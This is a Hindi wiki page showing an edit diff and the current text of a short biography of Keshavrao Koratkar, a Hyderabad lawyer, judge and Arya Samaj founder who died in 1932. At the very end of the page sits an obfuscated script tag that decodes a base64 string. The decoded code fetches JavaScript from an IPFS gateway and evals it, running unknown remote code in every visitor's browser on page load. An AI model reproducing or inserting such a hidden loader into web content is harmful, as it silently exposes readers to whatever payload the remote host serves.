"केशवराव कोराटकर": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
('{{सूचना बक्सा राजनीतिज्ञ |चित्र=Blankimage.png |चित्र का नाम= |...' के साथ नया पृष्ठ बनाया)
 
No edit summary
 
पंक्ति 15: पंक्ति 15:
|क़ब्र=  
|क़ब्र=  
|नागरिकता=
|नागरिकता=
|प्रसिद्धि=
|प्रसिद्धि=समाजसेवी
|पार्टी=
|पार्टी=
|पद=
|पद=
पंक्ति 24: पंक्ति 24:
|शिक्षा=
|शिक्षा=
|पुरस्कार-उपाधि=
|पुरस्कार-उपाधि=
|विशेष योगदान=
|विशेष योगदान=[[हैदराबाद]] में '[[आर्यसमाज]]' के संस्थापकों में केशवराव कोराटकर भी सम्मिलित थे।
|संबंधित लेख=
|संबंधित लेख=
|शीर्षक 1=
|शीर्षक 1=
पंक्ति 35: पंक्ति 35:
}}
}}


'''केशवराव कोराटकर''' ([[अंग्रेज़ी]]: ''Keshavrav Karotkar'', जन्म: [[1867]], मृत्यु: [[21 मई]], [[1932]]) एक प्रसिद्ध समाजसेवी थे। इनका जन्म [[हैदराबाद]] की रियासत के परमानी जिले में हुआ था। यह [[भारतीय राष्ट्रीय कांग्रेस]] के सदस्य भी रहे थे।
'''केशवराव कोराटकर''' ([[अंग्रेज़ी]]: ''Keshavrav Karotkar'', जन्म: [[1867]], मृत्यु: [[21 मई]], [[1932]]) प्रसिद्ध समाजसेवी थे। इनका जन्म हैदराबाद रियासत के परमानी ज़िले में हुआ था। यह [[भारतीय राष्ट्रीय कांग्रेस]] के सदस्य भी रहे थे।


====संक्षिप्त परिचय====
====संक्षिप्त परिचय====
*केशवराव ने वकालत की शिक्षा [[गुलबर्गा]] में प्राप्त की थी।
*केशवराव ने वकालत की शिक्षा [[गुलबर्गा]] में प्राप्त की थी।
*इन्होंने [[हैदराबाद]] में वकील के रूप में प्रसिद्धि पाई और हाईकोर्ट के जज नियुक्त किये गए।
*उन्होंने [[हैदराबाद]] में वकील के रूप में प्रसिद्धि पाई और हाईकोर्ट के जज नियुक्त किये गए।
*केशवराव ने सार्वजनिक कार्यों में भी भाग लिया,
*केशवराव ने सार्वजनिक कार्यों में भी भाग लिया और [[गांधीजी]] के [[असहयोग आंदोलन]] में सहयोग दिया।
*इन्होंने [[गांधीजी]] के असहयोग आंदोलन में सहयोग दिया।
*[[हैदराबाद]] में '[[आर्यसमाज]]' के संस्थापकों में केशवराव कोराटकर भी सम्मिलित थे।  
*वे [[हैदराबाद]] में '[[आर्यसमाज]]' के संस्थापकों में भी सम्मिलित थे।  
*उन्होंने [[दयानंद सरस्वती|महर्षि दयानंद सरस्वती]] रचित '[[सत्यार्थ प्रकाश]]' का [[तेलुगु भाषा]] में अनुवाद किया।  
*उन्होंने [[दयानंद सरस्वती|महर्षि दयानंद सरस्वती]] रचित '[[सत्यार्थ प्रकाश]]' का तेलगुभाषा में अनुवाद किया।  
*रियासत में जब आर्यसमाज की 'प्रतिनिधि सभा' बनी तो उसके अध्यक्ष केशवराव ही थे।  
*रियासत में जब आर्यसमाज की 'प्रतिनिधि सभा' बनी तो उसके अध्यक्ष केशवराव ही थे।  
*शिक्षा के प्रसार के क्षेत्र में उन्होंने अनेक उल्लेखनीय कार्य किए। 'विवेकवर्धनी पाठशाला नूतन विद्यालय जैसी शिक्षा संस्थाएं  इसके उदाहरण हैं।  
*शिक्षा के प्रसार के क्षेत्र में उन्होंने अनेक उल्लेखनीय कार्य किए। 'विवेकवर्धनी पाठशाला नूतन विद्यालय जैसी शिक्षा संस्थाएं  इसके उदाहरण हैं।  
*प्रमुख वकील, न्यायविद, शिक्षाविद और समाजसेवी के रूप में [[1896]]  से [[1932]] तक की लंबी अवधि में केशवराव कोराटकर की निजाम [[हैदराबाद]] के चोटी के व्यक्तियों में गणना होती थी।  
*प्रमुख वकील, न्यायविद, शिक्षाविद और समाजसेवी के रूप में [[1896]]  से [[1932]] तक की लंबी अवधि में केशवराव कोराटकर की निज़ाम [[हैदराबाद]] के चोटी के व्यक्तियों में गणना होती थी।  
*[[21 मई]], [[1932]] को केशवराव देहांत हो गया।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=195|url=}}</ref>
*[[21 मई]], [[1932]] को केशवराव कोराटकर का देहांत हो गया।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=195|url=}}</ref>


{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}

12:20, 18 मई 2017 के समय का अवतरण

केशवराव कोराटकर
पूरा नाम केशवराव कोराटकर
जन्म 1867
जन्म भूमि परमानी, हैदराबाद
मृत्यु 21 मई, 1932
प्रसिद्धि समाजसेवी
विशेष योगदान हैदराबाद में 'आर्यसमाज' के संस्थापकों में केशवराव कोराटकर भी सम्मिलित थे।
बाहरी कड़ियाँ प्रमुख वकील, न्यायविद, शिक्षाविद और समाजसेवी के रूप में 1896 से 1932 तक की लंबी अवधि में केशवराव कोराटकर की निजाम हैदराबाद के चोटी के व्यक्तियों में गणना होती थी।
अद्यतन‎

केशवराव कोराटकर (अंग्रेज़ी: Keshavrav Karotkar, जन्म: 1867, मृत्यु: 21 मई, 1932) प्रसिद्ध समाजसेवी थे। इनका जन्म हैदराबाद रियासत के परमानी ज़िले में हुआ था। यह भारतीय राष्ट्रीय कांग्रेस के सदस्य भी रहे थे।

संक्षिप्त परिचय

  • केशवराव ने वकालत की शिक्षा गुलबर्गा में प्राप्त की थी।
  • उन्होंने हैदराबाद में वकील के रूप में प्रसिद्धि पाई और हाईकोर्ट के जज नियुक्त किये गए।
  • केशवराव ने सार्वजनिक कार्यों में भी भाग लिया और गांधीजी के असहयोग आंदोलन में सहयोग दिया।
  • हैदराबाद में 'आर्यसमाज' के संस्थापकों में केशवराव कोराटकर भी सम्मिलित थे।
  • उन्होंने महर्षि दयानंद सरस्वती रचित 'सत्यार्थ प्रकाश' का तेलुगु भाषा में अनुवाद किया।
  • रियासत में जब आर्यसमाज की 'प्रतिनिधि सभा' बनी तो उसके अध्यक्ष केशवराव ही थे।
  • शिक्षा के प्रसार के क्षेत्र में उन्होंने अनेक उल्लेखनीय कार्य किए। 'विवेकवर्धनी पाठशाला नूतन विद्यालय जैसी शिक्षा संस्थाएं इसके उदाहरण हैं।
  • प्रमुख वकील, न्यायविद, शिक्षाविद और समाजसेवी के रूप में 1896 से 1932 तक की लंबी अवधि में केशवराव कोराटकर की निज़ाम हैदराबाद के चोटी के व्यक्तियों में गणना होती थी।
  • 21 मई, 1932 को केशवराव कोराटकर का देहांत हो गया।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 195 |

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>